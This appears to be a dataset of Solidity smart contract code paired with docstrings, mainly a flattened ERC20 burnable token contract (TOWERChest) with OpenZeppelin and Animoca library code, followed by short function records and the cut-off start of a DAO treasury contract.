integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, basic interface * @dev See https://eips.ethereum.org/EIPS/eip-20 * Note: The ERC-165 identifier for this interface is 0x36372b07. */ interface IERC20 { /** * @dev Emitted when tokens are transferred, including zero value transfers. * @param _from The account where the transferred tokens are withdrawn from. * @param _to The account where the transferred tokens are deposited to. * @param _value The amount of tokens being transferred. */ event Transfer(address indexed _from, address indexed _to, uint256 _value); /** * @dev Emitted when a successful call to {IERC20-approve(address,uint256)} is made. * @param _owner The account granting an allowance to `_spender`. * @param _spender The account being granted an allowance from `_owner`. * @param _value The allowance amount being granted. */ event Approval(address indexed _owner, address indexed _spender, uint256 _value); /** * @notice Returns the total token supply. * @return The total token supply. */ function totalSupply() external view returns (uint256); /** * @notice Returns the account balance of another account with address `owner`. * @param owner The account whose balance will be returned. * @return The account balance of another account with address `owner`. */ function balanceOf(address owner) external view returns (uint256); /** * @notice Transfers `value` amount of tokens to address `to`. * @dev Reverts if the message caller's account balance does not have enough tokens to spend. * @dev Emits an {IERC20-Transfer} event. * @dev Transfers of 0 values are treated as normal transfers and fire the {IERC20-Transfer} event. * @param to The account where the transferred tokens will be deposited to. * @param value The amount of tokens to transfer. * @return True if the transfer succeeds, false otherwise. */ function transfer(address to, uint256 value) external returns (bool); /** * @notice Transfers `value` amount of tokens from address `from` to address `to` via the approval mechanism. * @dev Reverts if the caller has not been approved by `from` for at least `value`. * @dev Reverts if `from` does not have at least `value` of balance. * @dev Emits an {IERC20-Transfer} event. * @dev Transfers of 0 values are treated as normal transfers and fire the {IERC20-Transfer} event. * @param from The account where the transferred tokens will be withdrawn from. * @param to The account where the transferred tokens will be deposited to. * @param value The amount of tokens to transfer. * @return True if the transfer succeeds, false otherwise. */ function transferFrom( address from, address to, uint256 value ) external returns (bool); /** * Sets `value` as the allowance from the caller to `spender`. * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @dev Reverts if `spender` is the zero address. * @dev Emits the {IERC20-Approval} event. * @param spender The account being granted the allowance by the message caller. * @param value The allowance amount to grant. * @return True if the approval succeeds, false otherwise. */ function approve(address spender, uint256 value) external returns (bool); /** * Returns the amount which `spender` is allowed to spend on behalf of `owner`. * @param owner The account that has granted an allowance to `spender`. * @param spender The account that was granted an allowance by `owner`. * @return The amount which `spender` is allowed to spend on behalf of `owner`. */ function allowance(address owner, address spender) external view returns (uint256); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, optional extension: Detailed * See https://eips.ethereum.org/EIPS/eip-20 * Note: the ERC-165 identifier for this interface is 0xa219a025. */ interface IERC20Detailed { /** * Returns the name of the token. E.g. "My Token". * Note: the ERC-165 identifier for this interface is 0x06fdde03. * @return The name of the token. */ function name() external view returns (string memory); /** * Returns the symbol of the token. E.g. "HIX". * Note: the ERC-165 identifier for this interface is 0x95d89b41. * @return The symbol of the token. */ function symbol() external view returns (string memory); /** * Returns the number of decimals used to display the balances. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract. * Note: the ERC-165 identifier for this interface is 0x313ce567. * @return The number of decimals used to display the balances. */ function decimals() external view returns (uint8); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, optional extension: Allowance * See https://eips.ethereum.org/EIPS/eip-20 * Note: the ERC-165 identifier for this interface is 0xd5b86388. */ interface IERC20Allowance { /** * Increases the allowance granted by the sender to `spender` by `value`. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * @dev Reverts if `spender` is the zero address. * @dev Reverts if `spender`'s allowance overflows. * @dev Emits an {IERC20-Approval} event with an updated allowance for `spender`. * @param spender The account whose allowance is being increased by the message caller. * @param value The allowance amount increase. * @return True if the allowance increase succeeds, false otherwise. */ function increaseAllowance(address spender, uint256 value) external returns (bool); /** * Decreases the allowance granted by the sender to `spender` by `value`. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * @dev Reverts if `spender` is the zero address. * @dev Reverts if `spender` has an allowance with the message caller for less than `value`. * @dev Emits an {IERC20-Approval} event with an updated allowance for `spender`. * @param spender The account whose allowance is being decreased by the message caller. * @param value The allowance amount decrease. * @return True if the allowance decrease succeeds, false otherwise. */ function decreaseAllowance(address spender, uint256 value) external returns (bool); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, optional extension: Safe Transfers * Note: the ERC-165 identifier for this interface is 0x53f41a97. */ interface IERC20SafeTransfers { /** * Transfers tokens from the caller to `to`. If this address is a contract, then calls `onERC20Received(address,address,uint256,bytes)` on it. * @dev Reverts if `to` is the zero address. * @dev Reverts if `value` is greater than the sender's balance. * @dev Reverts if `to` is a contract which does not implement `onERC20Received(address,address,uint256,bytes)`. * @dev Reverts if `to` is a contract and the call to `onERC20Received(address,address,uint256,bytes)` returns a wrong value. * @dev Emits an {IERC20-Transfer} event. * @param to The address for the tokens to be transferred to. * @param amount The amount of tokens to be transferred. * @param data Optional additional data with no specified format, to be passed to the receiver contract. * @return true. */ function safeTransfer( address to, uint256 amount, bytes calldata data ) external returns (bool); /** * Transfers tokens from `from` to another address, using the allowance mechanism. * If this address is a contract, then calls `onERC20Received(address,address,uint256,bytes)` on it. * @dev Reverts if `to` is the zero address. * @dev Reverts if `value` is greater than `from`'s balance. * @dev Reverts if the sender does not have at least `value` allowance by `from`. * @dev Reverts if `to` is a contract which does not implement `onERC20Received(address,address,uint256,bytes)`. * @dev Reverts if `to` is a contract and the call to `onERC20Received(address,address,uint256,bytes)` returns a wrong value. * @dev Emits an {IERC20-Transfer} event. * @param from The address which owns the tokens to be transferred. * @param to The address for the tokens to be transferred to. * @param amount The amount of tokens to be transferred. * @param data Optional additional data with no specified format, to be passed to the receiver contract. * @return true. */ function safeTransferFrom( address from, address to, uint256 amount, bytes calldata data ) external returns (bool); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, optional extension: Multi Transfers * Note: the ERC-165 identifier for this interface is 0xd5b86388. */ interface IERC20MultiTransfers { /** * Moves multiple `amounts` tokens from the caller's account to each of `recipients`. * @dev Reverts if `recipients` and `amounts` have different lengths. * @dev Reverts if one of `recipients` is the zero address. * @dev Reverts if the caller has an insufficient balance. * @dev Emits an {IERC20-Transfer} event for each individual transfer. * @param recipients the list of recipients to transfer the tokens to. * @param amounts the amounts of tokens to transfer to each of `recipients`. * @return a boolean value indicating whether the operation succeeded. */ function multiTransfer(address[] calldata recipients, uint256[] calldata amounts) external returns (bool); /** * Moves multiple `amounts` tokens from an account to each of `recipients`, using the approval mechanism. * @dev Reverts if `recipients` and `amounts` have different lengths. * @dev Reverts if one of `recipients` is the zero address. * @dev Reverts if `from` has an insufficient balance. * @dev Reverts if the sender does not have at least the sum of all `amounts` as allowance by `from`. * @dev Emits an {IERC20-Transfer} event for each individual transfer. * @dev Emits an {IERC20-Approval} event. * @param from The address which owns the tokens to be transferred. * @param recipients the list of recipients to transfer the tokens to. * @param amounts the amounts of tokens to transfer to each of `recipients`. * @return a boolean value indicating whether the operation succeeded. */ function multiTransferFrom( address from, address[] calldata recipients, uint256[] calldata amounts ) external returns (bool); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, ERC1046 optional extension: Metadata * See https://eips.ethereum.org/EIPS/eip-1046 * Note: the ERC-165 identifier for this interface is 0x3c130d90. */ interface IERC20Metadata { /** * Returns a distinct Uniform Resource Identifier (URI) for the token metadata. * @return a distinct Uniform Resource Identifier (URI) for the token metadata. */ function tokenURI() external view returns (string memory); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, ERC2612 optional extension: permit – 712-signed approvals * @dev Interface for allowing ERC20 approvals to be made via ECDSA `secp256k1` signatures. * See https://eips.ethereum.org/EIPS/eip-2612 * Note: the ERC-165 identifier for this interface is 0x9d8ff7da. */ interface IERC20Permit { /** * Sets `value` as the allowance of `spender` over the tokens of `owner`, given `owner` account's signed permit. * @dev WARNING: The standard ERC-20 race condition for approvals applies to `permit()` as well: https://swcregistry.io/docs/SWC-114 * @dev Reverts if `owner` is the zero address. * @dev Reverts if the current blocktime is > `deadline`. * @dev Reverts if `r`, `s`, and `v` is not a valid `secp256k1` signature from `owner`. * @dev Emits an {IERC20-Approval} event. * @param owner The token owner granting the allowance to `spender`. * @param spender The token spender being granted the allowance by `owner`. * @param value The token amount of the allowance. * @param deadline The deadline from which the permit signature is no longer valid. * @param v Permit signature v parameter * @param r Permit signature r parameter. * @param s Permis signature s parameter. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * Returns the current permit nonce of `owner`. * @param owner the address to check the nonce of. * @return the current permit nonce of `owner`. */ function nonces(address owner) external view returns (uint256); /** * Returns the EIP-712 encoded hash struct of the domain-specific information for permits. * * @dev A common ERC-20 permit implementation choice for the `DOMAIN_SEPARATOR` is: * * keccak256( * abi.encode( * keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), * keccak256(bytes(name)), * keccak256(bytes(version)), * chainId, * address(this))) * * where * - `name` (string) is the ERC-20 token name. * - `version` (string) refers to the ERC-20 token contract version. * - `chainId` (uint256) is the chain ID to which the ERC-20 token contract is deployed to. * - `verifyingContract` (address) is the ERC-20 token contract address. * * @return the EIP-712 encoded hash struct of the domain-specific information for permits. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, Receiver * See https://eips.ethereum.org/EIPS/eip-20 * Note: the ERC-165 identifier for this interface is 0x4fc35859. */ interface IERC20Receiver { /** * Handles the receipt of ERC20 tokens. * @param sender The initiator of the transfer. * @param from The address which transferred the tokens. * @param value The amount of tokens transferred. * @param data Optional additional data with no specified format. * @return bytes4 `bytes4(keccak256("onERC20Received(address,address,uint256,bytes)"))` */ function onERC20Received( address sender, address from, uint256 value, bytes calldata data ) external returns (bytes4); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @dev Implementation of the {IERC20} interface. */ contract ERC20 is IERC165, Context, IERC20, IERC20Detailed, IERC20Metadata, IERC20Allowance, IERC20MultiTransfers, IERC20SafeTransfers, IERC20Permit { using Address for address; // bytes4(keccak256("onERC20Received(address,address,uint256,bytes)")) bytes4 internal constant _ERC20_RECEIVED = 0x4fc35859; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") bytes32 internal constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; // solhint-disable-next-line var-name-mixedcase bytes32 public immutable override DOMAIN_SEPARATOR; mapping(address => uint256) public override nonces; string internal _name; string internal _symbol; uint8 internal immutable _decimals; string internal _tokenURI; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; constructor( string memory name, string memory symbol, uint8 decimals, string memory version, string memory tokenURI ) internal { _name = name; _symbol = symbol; _decimals = decimals; _tokenURI = tokenURI; uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes(version)), chainId, address(this) ) ); } /////////////////////////////////////////// ERC165 /////////////////////////////////////// /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId || interfaceId == type(IERC20).interfaceId || interfaceId == type(IERC20Detailed).interfaceId || interfaceId == 0x06fdde03 || // bytes4(keccak256("name()")) interfaceId == 0x95d89b41 || // bytes4(keccak256("symbol()")) interfaceId == 0x313ce567 || // bytes4(keccak256("decimals()")) interfaceId == type(IERC20Metadata).interfaceId || interfaceId == type(IERC20Allowance).interfaceId || interfaceId == type(IERC20MultiTransfers).interfaceId || interfaceId == type(IERC20SafeTransfers).interfaceId || interfaceId == type(IERC20Permit).interfaceId; } /////////////////////////////////////////// ERC20Detailed /////////////////////////////////////// /// @dev See {IERC20Detailed-name}. function name() public view override returns (string memory) { return _name; } /// @dev See {IERC20Detailed-symbol}. function symbol() public view override returns (string memory) { return _symbol; } /// @dev See {IERC20Detailed-decimals}. function decimals() public view override returns (uint8) { return _decimals; } /////////////////////////////////////////// ERC20Metadata /////////////////////////////////////// /// @dev See {IERC20Metadata-tokenURI}. function tokenURI() public view override returns (string memory) { return _tokenURI; } /////////////////////////////////////////// ERC20 /////////////////////////////////////// /// @dev See {IERC20-totalSupply}. function totalSupply() public view override returns (uint256) { return _totalSupply; } /// @dev See {IERC20-balanceOf}. function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /// @dev See {IERC20-allowance}. function allowance(address owner, address spender) public view virtual override returns (uint256) { if (owner == spender) { return type(uint256).max; } return _allowances[owner][spender]; } /// @dev See {IERC20-approve}. function approve(address spender, uint256 value) public virtual override returns (bool) { _approve(_msgSender(), spender, value); return true; } /////////////////////////////////////////// ERC20 Allowance /////////////////////////////////////// /// @dev See {IERC20Allowance-increaseAllowance}. function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { require(spender != address(0), "ERC20: zero address"); address owner = _msgSender(); uint256 allowance_ = _allowances[owner][spender]; uint256 newAllowance = allowance_ + addedValue; require(newAllowance >= allowance_, "ERC20: allowance overflow"); _allowances[owner][spender] = newAllowance; emit Approval(owner, spender, newAllowance); return true; } /// @dev See {IERC20Allowance-decreaseAllowance}. function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { require(spender != address(0), "ERC20: zero address"); _decreaseAllowance(_msgSender(), spender, subtractedValue); return true; } /// @dev See {IERC20-transfer}. function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(_msgSender(), to, value); return true; } /// @dev See {IERC20-transferFrom}. function transferFrom( address from, address to, uint256 value ) public virtual override returns (bool) { _transferFrom(_msgSender(), from, to, value); return true; } /////////////////////////////////////////// ERC20MultiTransfer /////////////////////////////////////// /// @dev See {IERC20MultiTransfer-multiTransfer(address[],uint256[])}. function multiTransfer(address[] calldata recipients, uint256[] calldata amounts) external virtual override returns (bool) { uint256 length = recipients.length; require(length == amounts.length, "ERC20: inconsistent arrays"); address sender = _msgSender(); for (uint256 i = 0; i != length; ++i) { _transfer(sender, recipients[i], amounts[i]); } return true; } /// @dev See {IERC20MultiTransfer-multiTransferFrom(address,address[],uint256[])}. function multiTransferFrom( address from, address[] calldata recipients, uint256[] calldata values ) external virtual override returns (bool) { uint256 length = recipients.length; require(length == values.length, "ERC20: inconsistent arrays"); uint256 total; for (uint256 i = 0; i != length; ++i) { uint256 value = values[i]; _transfer(from, recipients[i], value); total += value; // cannot overflow, else it would mean thann from's balance underflowed first } _decreaseAllowance(from, _msgSender(), total); return true; } /////////////////////////////////////////// ERC20SafeTransfers /////////////////////////////////////// /// @dev See {IERC20Safe-safeTransfer(address,uint256,bytes)}. function safeTransfer( address to, uint256 amount, bytes calldata data ) external virtual override returns (bool) { address sender = _msgSender(); _transfer(sender, to, amount); if (to.isContract()) { require(IERC20Receiver(to).onERC20Received(sender, sender, amount, data) == _ERC20_RECEIVED, "ERC20: transfer refused"); } return true; } /// @dev See {IERC20Safe-safeTransferFrom(address,address,uint256,bytes)}. function safeTransferFrom( address from, address to, uint256 amount, bytes calldata data ) external virtual override returns (bool) { address sender = _msgSender(); _transferFrom(sender, from, to, amount); if (to.isContract()) { require(IERC20Receiver(to).onERC20Received(sender, from, amount, data) == _ERC20_RECEIVED, "ERC20: transfer refused"); } return true; } /////////////////////////////////////////// ERC20Permit /////////////////////////////////////// /// @dev See {IERC2612-permit(address,address,uint256,uint256,uint8,bytes32,bytes32)}. function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external virtual override { require(owner != address(0), "ERC20: zero address owner"); require(block.timestamp <= deadline, "ERC20: expired permit"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "ERC20: invalid permit"); _approve(owner, spender, value); } /////////////////////////////////////////// Internal Functions /////////////////////////////////////// function _approve( address owner, address spender, uint256 value ) internal { require(spender != address(0), "ERC20: zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _decreaseAllowance( address owner, address spender, uint256 subtractedValue ) internal { if (owner == spender) return; uint256 allowance_ = _allowances[owner][spender]; if (allowance_ != type(uint256).max && subtractedValue != 0) { // save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717) uint256 newAllowance = allowance_ - subtractedValue; require(newAllowance <= allowance_, "ERC20: insufficient allowance"); _allowances[owner][spender] = newAllowance; allowance_ = newAllowance; } emit Approval(owner, spender, allowance_); } function _transfer( address from, address to, uint256 value ) internal virtual { require(to != address(0), "ERC20: zero address"); uint256 balance = _balances[from]; require(balance >= value, "ERC20: insufficient balance"); _balances[from] = balance - value; _balances[to] += value; emit Transfer(from, to, value); } function _transferFrom( address sender, address from, address to, uint256 value ) internal { _decreaseAllowance(from, sender, value); _transfer(from, to, value); } function _mint(address to, uint256 value) internal virtual { require(to != address(0), "ERC20: zero address"); uint256 supply = _totalSupply; uint256 newSupply = supply + value; require(newSupply >= supply, "ERC20: supply overflow"); _totalSupply = newSupply; _balances[to] += value; // balance cannot overflow if supply does not emit Transfer(address(0), to, value); } function _batchMint(address[] memory recipients, uint256[] memory values) internal virtual { uint256 length = recipients.length; require(length == values.length, "ERC20: inconsistent arrays"); uint256 supply = _totalSupply; for (uint256 i = 0; i != length; ++i) { address to = recipients[i]; require(to != address(0), "ERC20: zero address"); uint256 value = values[i]; uint256 newSupply = supply + value; require(newSupply >= supply, "ERC20: supply overflow"); supply = newSupply; _balances[to] += value; // balance cannot overflow if supply does not emit Transfer(address(0), to, value); } _totalSupply = supply; } function _burn(address from, uint256 value) internal virtual { uint256 balance = _balances[from]; require(balance >= value, "ERC20: insufficient balance"); _balances[from] = balance - value; _totalSupply -= value; // will not underflow if balance does not emit Transfer(from, address(0), value); } function _burnFrom(address from, uint256 value) internal virtual { _decreaseAllowance(from, _msgSender(), value); _burn(from, value); } } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Token Standard, optional extension: Burnable * Note: the ERC-165 identifier for this interface is 0x3b5a0bf8. */ interface IERC20Burnable { /** * Burns `value` tokens from the message sender, decreasing the total supply. * @dev Reverts if the sender owns less than `value` tokens. * @dev Emits a {IERC20-Transfer} event with `_to` set to the zero address. * @param value the amount of tokens to burn. * @return a boolean value indicating whether the operation succeeded. */ function burn(uint256 value) external returns (bool); /** * Burns `value` tokens from `from`, using the allowance mechanism and decreasing the total supply. * @dev Reverts if `from` owns less than `value` tokens. * @dev Reverts if the message sender is not approved by `from` for at least `value` tokens. * @dev Emits a {IERC20-Transfer} event with `_to` set to the zero address. * @dev Emits a {IERC20-Approval} event (non-standard). * @param from the account to burn the tokens from. * @param value the amount of tokens to burn. * @return a boolean value indicating whether the operation succeeded. */ function burnFrom(address from, uint256 value) external returns (bool); } // File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected] pragma solidity 0.6.8; /** * @title ERC20 Fungible Token Contract, burnable version. */ contract ERC20Burnable is ERC20, IERC20Burnable { constructor( string memory name, string memory symbol, uint8 decimals, string memory version, string memory tokenURI ) public ERC20(name, symbol, decimals, version, tokenURI) {} /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC20Burnable).interfaceId || super.supportsInterface(interfaceId); } /// @dev See {IERC20Burnable-burn(uint256)}. function burn(uint256 amount) public virtual override returns (bool) { _burn(_msgSender(), amount); return true; } /// @dev See {IERC20Burnable-burnFrom(address,uint256)}. function burnFrom(address from, uint256 value) public virtual override returns (bool) { _burnFrom(from, value); return true; } } // File contracts/solc-0.6/token/ERC20/TOWERChest.sol pragma solidity 0.6.8; /** * @title TOWERChest * A burnable ERC-20 token contract for Crazy Defense Heroes (CDH). TOWER Chests are tokens that can be burned to obtain CDH NFTs. * @dev TWR.BRNZ for Bronze chests. * @dev TWR.SLVR for Silver chests. * @dev TWR.GOLD for Gold chests. */ contract TOWERChest is ERC20Burnable, Ownable { /** * Constructor. * @param name Name of the token. * @param symbol Symbol of the token. * @param decimals Number of decimals the token uses. * @param version Signing domain version used for IERC2612 permit signatures. * @param tokenURI The URI for the token metadata. * @param holder Account to mint the initial total supply to. * @param totalSupply Total supply amount to mint to the message caller. */ constructor( string memory name, string memory symbol, uint8 decimals, string memory version, string memory tokenURI, address holder, uint256 totalSupply ) public ERC20Burnable(name, symbol, decimals, version, tokenURI) { _mint(holder, totalSupply); } /** * Updates the token metadata URI. * @dev Reverts if the sender is not the contract owner. * @param tokenURI_ the new token metdata URI. */ function updateTokenURI(string calldata tokenURI_) external { require(_msgSender() == owner(), "TOWERChest: not the owner"); _tokenURI = tokenURI_; } }
See {IERC20Burnable-burnFrom(address,uint256)}.
function burnFrom(address from, uint256 value) public virtual override returns (bool) { _burnFrom(from, value); return true; }
7,831,922
./full_match/3/0xA4dF1aCdEa6f1A800f538B43F37B1d651f510be8/sources/browser/Gol.sol
Returns whether `spender` is allowed to manage `tokenId`. Requirements: - `tokenId` must exist./
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId)); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); }
14,192,249
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "hardhat/console.sol"; import "@openzeppelin/contracts/governance/TimelockController.sol"; import "@openzeppelin/contracts/utils/Multicall.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IShare } from "../interfaces/IShare.sol"; import { IMembership } from "../interfaces/IMembership.sol"; import { IModule } from "../interfaces/IModule.sol"; import { DataTypes } from "../libraries/DataTypes.sol"; import { Errors } from "../libraries/Errors.sol"; import { Events } from "../libraries/Events.sol"; /** * @title Treasury * @notice The treasury is one of the core contracts of the DAO and is responsible for managing all of the DAO's assets, * including external assets, eth and share tokens of the DAO. * the treasury supports external investors in invoking the investment method to self-serve share tokens, * and the treasury provides a hook method for modules to pull payments, * allowing authorization for some of the assets of the modules used by the DAO. */ contract Treasury is TimelockController, Multicall { using Address for address payable; address public immutable share; address public immutable membership; DataTypes.ShareSplit public shareSplit; DataTypes.InvestmentSettings public investmentSettings; address[] private _proposers; address[] private _executors = [address(0)]; mapping(address => uint256) private _investThresholdInERC20; mapping(address => uint256) private _investRatioInERC20; mapping(address => 